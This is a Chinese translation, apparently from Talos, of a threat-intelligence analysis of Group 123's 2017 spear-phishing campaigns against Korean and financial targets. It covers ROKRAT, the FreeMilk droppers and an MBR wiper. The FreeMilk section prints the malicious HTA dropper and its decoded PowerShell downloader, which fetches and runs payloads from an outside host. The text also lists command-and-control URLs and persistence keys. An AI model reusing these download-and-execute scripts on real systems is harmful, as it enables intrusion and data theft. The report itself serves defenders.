黑客攻击焦点之韩国(上)

TRex 新闻 2018年1月25日发布

导语:盘点一年来由APT组织Group 123主导的针对韩国目标的多次攻击行动。

一、内容摘要

本文披露了2017年Group 123的恶意行动,我们确信Group 123应该为以下六项行动负责:

"Golden Time"
"Evil New Year"
"Are you Happy?"
"FreeMilk"
"North Korean Human Rights"
"Evil New Year 2018"

2018年1月2日,Evil New Year 2018开启,此行动完全复制了2017年Evil New Year的方法。不同行动之间相互关联,包括共享的代码以及诸如PDB(程序数据库)模式之类的编译器部件。 

据分析,Golden Time、两个Evil New Year以及North Korean Human Rights行动专门针对韩国用户。攻击者结合Hancom Hangul Office Suite创建的恶意HWP文档,使用鱼叉式钓鱼邮件。已经明确Group123使用了漏洞(例如CVE-2013-0808)或OLE对象的脚本语言。恶意文档的目的是安装并执行远程管理工具(RAT)ROKRAT。有时攻击者会直接将ROKRAT payload包含在恶意文档中,而在其他行动中,攻击者使用多阶段感染过程:文档只包含一个下载器,用于从攻陷的Web服务器上下载ROKRAT。
此外,FreeMilk行动还针对数家非韩国金融机构。在该行动中,攻击者利用了恶意的微软Office文档,而不是他们通常使用的Hancom文档。文档利用了较新的漏洞CVE-2017-0199,Group 123在漏洞公开披露不到一个月就开始使用了。在该行动中,攻击者使用了两个不同的恶意二进制文件:PoohMilk和Freenki,PoohMilk仅用于启动Freenki,Freenki收集受感染系统的信息并下载后续阶段的payload。该恶意软件已于2016年在多个行动中使用,并与ROKRAT有一些代码重叠。

最后,我们锁定了与Group 123相关的第6次行动。我们将第6次活动命名为Are You Happy?。在该行动中,攻击者部署了一个磁盘擦除器。这次攻击的目的不仅是为了访问远程感染系统,而且还要擦除设备的第一个扇区。经确定擦除器是ROKRAT模块。

攻击者今年异常活跃,并持续关注韩国。该组织利用鱼叉式钓鱼和恶意文档,其内容包括非常特定的语言,这表明它们是由以韩语为母语的人书写的,而非翻译而来。攻击者具备如下能力:

· 工作流程中包含漏洞(针对Hangul和Microsoft Office)
· 将payload分成多个阶段来修正其行动
· 使用攻陷的Web服务器或合法的云平台
· 使用HTTPS通信增加流量分析难度
· 为了攻击第三方打造逼真的鱼叉式钓鱼行动(即Golden Time中的Yonsei 大学)
· 不断发展进步,2018年的新无文件功能就是一个证明

二、时间轴
这是2017年和2018年初的时间轴:

(一)2016.08-2017.03 : GOLDEN TIME

与Group 123的大多行动一样,在本次行动中最初的攻击媒介是鱼叉式钓鱼邮件。Talos确认了两种不同类型的电子邮件。第一封电子邮件很有意思,我们看到攻击者赞扬用户加入了与“Korean Reunification and North Korean Conference”有关的小组。邮件正文解释说,收件人应完成附件文档以提供必要的反馈。而这是一个不存在的会议,经确定,与统一大会有关的最接近的会议是2017年1月的NYDA统一大会。发件人是kgf2016@yonsei.ac.kr,这是韩国全球论坛的联系电子邮件,一个独立的会议。

在分析邮件头部时,我们发现发送该邮件所使用的SMTP服务器IP与延世大学相关联。我们认为该电子邮件地址已被攻击者控制并滥用。

恶意附件的文件名翻译为“统一北韩会议_调查文档”,邮件中特别加重了有关统一大会的文字。另外,在邮件正文中,攻击者甚至告诉完成文档的人将得到一笔“小费”。也许这就是嵌入式恶意软件的礼物:

而第二封电子邮件的分析工作简单的多。这封邮件来自Hanmail,Daum提供的免费韩国邮件服务,没有像之前描述的那样尝试将发件人显示为官方机构或个人。邮件主题是“请求帮助”,附件名是“我是北韩江原道文川市人”。我们怀疑攻击者是想提醒读者,文川市和它所在的江原省,包括韩国的江原道,都归属于1945年韩国分裂之前的一个统一的省。

第二封邮件里有一个故事,讲的是一个名叫Ewing Kim的人,他在寻求帮助:

附件是两个不同的HWP文档,均利用了相同的漏洞(CVE-2013-0808),此漏洞专门针对EPS(封装的PostScript)格式。shellcode的目的是从互联网下载一个payload。

第一封电子邮件向受感染用户显示下面的诱饵文档并下载如下payload:

hxxp://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpg

第二封电子邮件向受感染用户显示下面的诱饵文档,并下载如下payload:

hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpg

两种情形中,下载的payload均是ROKRAT恶意软件。

这个ROKRAT变种的首要任务是检查操作系统版本。如果检测到Windows XP,则恶意软件将执行无限循环,其目的是在运行Windows XP机器的沙箱系统打开时生成空报表。此外,它还会检查以确定受感染系统是否正在运行常用分析工具。如果检测到存在这些工具,恶意软件会向合法网站发送两个请求:

hxxps://www[.]amazon[.]com/Men-War-PC/dp/B001QZGVEC/EsoftTeam/watchcom.jpg

hxxp://www[.]hulu[.]com/watch/559035/episode3.mp4

亚马逊网址显示一个名为Men of War的二战游戏,而Hulu网址则是名为Golden Time的日本动漫节目:

ROKRAT的特征之一就是使用社交网络和云平台与攻击者进行通信。这些平台是用来传输文件和接收命令。以下是该变种使用的平台列表:Twitter,Yandex和Mediafire。样本中每个平台的令牌都是硬编码的:

(二)2016.11-2017.01: EVIL NEW YEAR

2017年初,Group123开始了Evil New Year行动。在此次行动中,攻击者试图通过冒充来自韩国统一部的电子邮件来欺骗受害者,并专门提供了针对韩国的分析。这次行动从一些针对韩国目标的,包含恶意附件的钓鱼邮件开始。下一步,Group 123试图引诱受害者打开Hancom Hangul文档附件。Hancom Hangul是一款主要在朝鲜半岛使用的办公套件,使用Hangul办公文档符合朝鲜半岛的习惯。如果攻击者使用微软文档,可能会引起受害者的怀疑。鉴于所使用的区域文件格式,一些安全软件套件可能无法很好地检测这些文件,这就为攻击者提供了规避机会。

发给目标的文件名为“2017年北方新年分析”,并使用了韩国统一部的官方标志。这是攻击者所做的一个简单决策,进一步表明了他们对该地区的熟悉程度。

这份文档声称要讨论朝鲜的新年活动,这可能是韩国的受害者很感兴趣的。对于Group123的首选——政府目标而言,更是如此。文档是一个诱饵,目的是诱使用户打开嵌入页面的恶意文档。

攻击者嵌入了两个其它的链接,文档敦促用户点击这些链接了解有关北韩新年活动的更多信息。第一个链接标记为"Comparison of Major Tasks in '16 & '17",第二个链接标记为"Comparison between '16 & '17"。

打开这些链接后,将给用户提供另一个诱饵Hangul文档。文档写得很好,进一步增强了我们对新韩国攻击者的信心。这些文档包含用于释放二进制文件的恶意OLE对象。

包含恶意的OLE(对象链接嵌入)对象:

初步分析确认文档中两个大小相似的OLE对象文件,从执行的角度来看完全相同。依据我们的分析,这两个释放的二进制文件被保存在下述位置并执行:

C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exe

C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exe

初步分析显示,Group123的痕迹清除很马虎,后来我们借此来确定单独的行动是同一个攻击者所为,因为二进制文件中存在编译组件:e:HappyWorkSourceversion 12T+MResultDocPrint.pdb。

释放的二进制文件第二阶段用来执行wscript.exe,同时注入shellcode到这此进程中。shellcode被嵌入到资源BIN中,用于解压缩另一个PE32二进制文件,并使用wscript.exe执行。为此,Group123使用了众所周知的技术,调用VirtualAllocEx,WriteProcessMemory和CreateRemoteThread这些Windows API。

从shellcode解压的新PE32是一个初步侦察恶意软件,用来与C2基础设施进行通信,获取最终的payload。此恶意软件收集的信息包括以下内容:

机器名
用户名
样本所在的执行路径
BIOS模式
唯一标识系统的随机ID

Group123利用这种方法确定受害者是他们想要进一步针对的人,并基于侦察阶段所获信息确定后续需感染的人。

进一步的网络分析表明,二进制文件试图连接到以下URL:

www[.]kgls[.]or[.]kr/news2/news_dir/index.php

www[.]kgls[.]or[.]kr/news2/news_dir/02BC6B26_put.jpg

韩国政府法律服务(KGLS)是管理韩国政府法律事务的合法政府机构。攻陷KGLS,攻击者获得了一个可信赖的平台来执行攻击。

首先连接index.php,传输侦察阶段所收集的信息。攻击者使用这些信息来生成对应于受害者的特定文件名(基于随机ID)。在本例中该值是02BC6B26 – 这意味着在攻击者C2上为我们创建了一个02BC6B26_put.jpg文件。然后该文件被投放到受害者的机器上,重命名为officepatch.exe。由于攻击者特别小心在意攻击对象,在分析过程中我们没有获得该文件。

在调查中,我们确定攻击者使用的其他命令和控制基础设施。其中四个C2,分布在以下国家:3个C2 在韩国;1个C2在荷兰。以下是所确定的基础设施的全球地图:

与之前的行动相反,攻击者将侦察阶段从ROKRAT payload中分离出来。此技巧很可能是为了规避检测。对于Group 123的行为,这是一个有趣的调整。

(三)2017.03:ARE YOU HAPPY?

2017年3月,Group 123 组编写了磁盘擦除器。该恶意软件包含1个功能,目的是打开被感染系统的驱动器(\\.\ PhysicalDrive0),并将以下数据写入MBR:

在写入缓冲区中可以看到Are you Happy?字符串。写入MBR后,恶意软件使用以下命令重启计算机:c:\windows\system32\shutdown /r /t 1。

重新启动后,MBR向用户显示以下字符串:

关联到其他行动是因为以下PDB路径:D:\HighSchool\version 13\VC2008(Version15)\T+M\T+M\TMProject\Release\ErasePartition.pdb。

正如你所看到的,它完全合乎ROKRAT PDB。擦除器是名为ERSP.enc的ROKRAT模块。我们假设ERSP意味着ERaSePartition,该模块可由Group 123按需下载和执行。

样本很有意思,因为2014年12月韩国发电厂袭击事件中擦除器显示的信息是Who Am I?。

(四)2017.05:FREEMILK

此次行动针对非韩国的金融机构,但与其他行动不同,此行动没有使用HWP文件。它改为使用Office文档。这个变化是因为Group 123在此次行动中没有针对南韩,而是针对在世界上以微软Office为标准的其他地方。

感染载体

攻击者利用CVE-2017-0199下载并执行Microsoft Office中的恶意HTA文档。 所使用的URL可在嵌入的OLE对象中找到:
hxxp://old[.]jrchina[.]com/btob_asiana/udel_calcel.php?fdid=[base64_data]
下面是下载的HTA文档的源代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<title>Bonjour</title>
<script language="VBScript">
Set owFrClN0giJ = CreateObject("Wscript.Shell")
Set v1ymUkaljYF = CreateObject("Scripting.FileSystemObject")
If v1ymUkaljYF.FileExists(owFrClN0giJ.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
owFrClN0giJ.Run "powershell -nop -windowstyle hidden -executionpolicy bypass -encodedcommand JABjAD0AbgBlAHcALQBvA[...redacted...]H0AIAA=" ,0
owFrClN0giJ.Run "cmd /c echo hta>%tmp%\webbrowser1094826604.tmp", 0
End If
Self.Close
</script>
<hta:application
id="oHTA"
applicationname="Bonjour"
application="yes"
>
</head>
</html>
使用base64算法解码后,可得到最终的payload:
$c=new-object System.Net.WebClient
$t =$env:temp
$t1=$t+"\\alitmp0131.jpg"
$t2=$t+"\\alitmp0132.jpg"
$t3=$t+"\\alitmp0133.js"
try
  {
    echo $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach01.jpg",$t1)
    $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/appach02.jpg",$t2)
    $c.DownloadFile( "hxxp://old[.]jrchina[.]com/btob_asiana/udel_ok.ipp",$t3)
    wscript.exe $t3
  }
catch
  {
  }

此脚本的目的是下载和执行一个Windows脚本和两个编码的payload。脚本用于解码和执行下列payload:

       Appach01.jpg (renamed: Windows-KB275122-x86.exe) 为 Freenki 样本

        Appach01.jpg (renamed: Windows-KB271854-x86.exe) 为 PoohMilk 样本

PoohMilk 分析
PoohMilk样本旨在执行两个操作:

创建持久性以便在下次重启时执行Freenki样本。

检查受感染机器上的特定文件。

第一个操作是创建一个注册表项,以执行先前下载的Windows-KB275122-x86.exe文件,该文件使用参数help执行。下面是注册表创建:

执行持久性的注册表位置是:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update。在下次重启时,恶意软件将被执行。

第二个操作是检查当前用户的临时目录中是否存在wsatra.tmp文件。如果文件存在,则读取内容以获取具有LNK后缀的第二个文件的路径。LNK文件最终用于识别第三个文件:一个ZIP文件,该文件检索RTF文档,并通过写字板显示给受感染的用户。
这是PoohMilk样本中的pdb路径:E:\BIG_POOH\Project\milk\Release\milk.pdb

Freenki 样本
Freenki的目的是收集受感染系统的信息并下载第三个可执行文件。此样本可用3个不同的参数来执行:

Help:由PoohMilk配置的值。在这种情况下,执行main函数。

Console:配置持久性,恶意软件将在下次重启时执行( HKCUSoftwareMicrosoftWindowsCurrentVersionRunrunsample )。

Sample: 恶意软件先执行console命令,然后执行help命令。

使用WMI查询收集信息:

此外,恶意软件通过Microsoft Windows API列出正在运行的进程,使用混淆来隐藏诸如URL或User-Agent之类的字符串,算法基于位运算(SUB 0x0F XOR 0x21),这是解码后的数据:

hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.php
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)

下载的第三个payload使用相同的技术进行混淆,该文件是以PNGF开头的假图片。

本文翻译自:http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html?m=1,如若转载,请注明原文地址: http://www.4hou.com/info/news/10059.html
点赞 7
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论